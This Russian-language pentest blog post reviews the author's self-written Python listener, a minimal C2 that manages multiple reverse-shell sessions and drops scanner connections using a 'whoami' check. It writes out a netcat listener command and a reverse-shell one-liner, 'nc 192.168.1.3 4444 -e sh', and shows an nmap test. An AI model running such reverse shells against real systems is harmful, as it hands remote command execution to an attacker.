Pentest
May 13

netcat для пентеста или обзор утилиты LISTENER

Ку, киберпанки! Недавно, у меня был кейс связанный с бэк-коннектом. Данный бэ-коннект я получал используя обычный реверс шелл. Ну, как бы да. Казалось бы запустил netcat на прослушку nc -lvnp 4444 или используй metasploit для этого. Однако, есть ряд проблем связанные с этим способом:

  1. Челики, которые пытаюся ломануть твою ВПС. Из-за этого появляется ложный коннект и отлетает подключение
  2. Много коннектов и не понятно какой ложный, отсюда теряется оперативность

Как альтернативу, можно использовать pwncat. И это реально крутая тулза для пентестов, потому что много чего умеет, но для решения своих задач мне это не нужно.

Мотивация для написания своей тулзы такая:

  1. Мне необходимо делать много листенеров
  2. Возможность переключаться между ними без потери соединения

Иными словами, хотел сделать очень, очень жалкую пародиб на C2 и вот результат.

Обзор оболочки

Писал утилиту на Python и для удобства скомпилил её с помощью PyInstaller . Главное меню программы выглядит так:

Представлены все команды, которые может выполнять оболочка LISTENER и на самом деле этого вполне достаточно для работы.

  1. create <ip> <port> - команда для создания листенера. Разумеется, что ip - это адрес пывнера, а port - это порт для прослушивания
  2. list - команда для просмотра коннектов. В данной таблице написан ID коннекта, ip-адрес пывнера и ip-адрес жертвы
  3. use <id> - команда необходимая для подключения к сессии. Используется ID, который указан в list
  4. kill <id> - команда необходимая для завершения сессии. Используется ID, который указан в list
Для удобства ввода команд добавлена табуляция с автодополнением

Ниже приведён пример использования команды create:

Вывод команды говорит о том, что прослушка запустилась. Теперь оформлю реверс шелл командой nc 192.168.1.3 4444 -e sh и получу информацию о коннекте:

Вот и получение информации о том, что есть подключение. На скрине видно, что отправляю команду whoami. Короче говоря, это нужно как раз таки для защиты от сканов. Я считаю, что эта команда довольно таки универсальная и есть в каждой системе. Если ответ не поступил в течении 10 секунд, то подключение ложное. Дальше происходит прерывание сессии и открытие порта по поновой.

Когда появилось уведомление о подключении лучше всего сделать так: нажать Enter, потом ввести exit, а дальше использовать команду use ID. Иными словами закрыть инерактивную оболочку и потом снова к ней подключиться. Так работает лучше.

На скрине виден результат работы команды list и use. Дальше я убью этот конект командой kill ID:

Для примера откроем порт 1337 и запустим nmap командой nmap 192.168.1.3 -p 1337 и посмотрим, что выдаст LISTENER:

Думаю, что этот скрин доказывает, что можно попробовать противостоять сканам. Однако, это метод максимально простой и естественно это нужно дорабатывать.

Теперь протестируем на Windows. Откроем порт 8080 и на Windows запущу реверс шелл:

Теперь подключусь к Linux (ID dfcf839b):

Дальше ввожу exit и переключаюсь на Windows (ID dbd494e9):

На этом всё. Исходный код и скомпиленную прогу можно найти на канале K0N70R4.